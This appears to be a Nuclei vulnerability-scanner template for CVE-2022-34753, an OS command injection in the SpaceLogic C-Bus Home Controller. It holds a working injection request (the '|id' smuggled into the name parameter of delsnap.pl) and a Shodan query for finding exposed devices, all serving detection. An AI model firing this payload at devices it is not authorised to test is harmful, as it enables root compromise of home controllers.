nuclei-templates/cves/2022/CVE-2022-34753.yaml

id: CVE-2022-34753

info:
  name: SpaceLogic C-Bus Home Controller - Remote Code Execution
  author: gy741
  severity: high
  description: |
    A CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability exists that could cause remote root exploit when the command is compromised. Affected Products SpaceLogic C-Bus Home Controller (5200WHC2), formerly known as C-Bus Wiser Homer Controller MK2 (V1.31.460 and prior)
  reference:
    - https://www.zeroscience.mk/codes/SpaceLogic.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34753
    - https://download.schneider-electric.com/files?p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2022-193-02_SpaceLogic-C-Bus-Home-Controller-Wiser_MK2_Security_Notification.pdf
    - http://packetstormsecurity.com/files/167783/Schneider-Electric-SpaceLogic-C-Bus-Home-Controller-5200WHC2-Remote-Root.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-34753
    cwe-id: CWE-78
  metadata:
    shodan-query: html:"SpaceLogic C-Bus"
  tags: cve,cve2022,iot,spacelogic,rce,oast,packetstorm

requests:
  - raw:
      - |
        GET /delsnap.pl?name=|id HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'

      - type: status
        status:
          - 200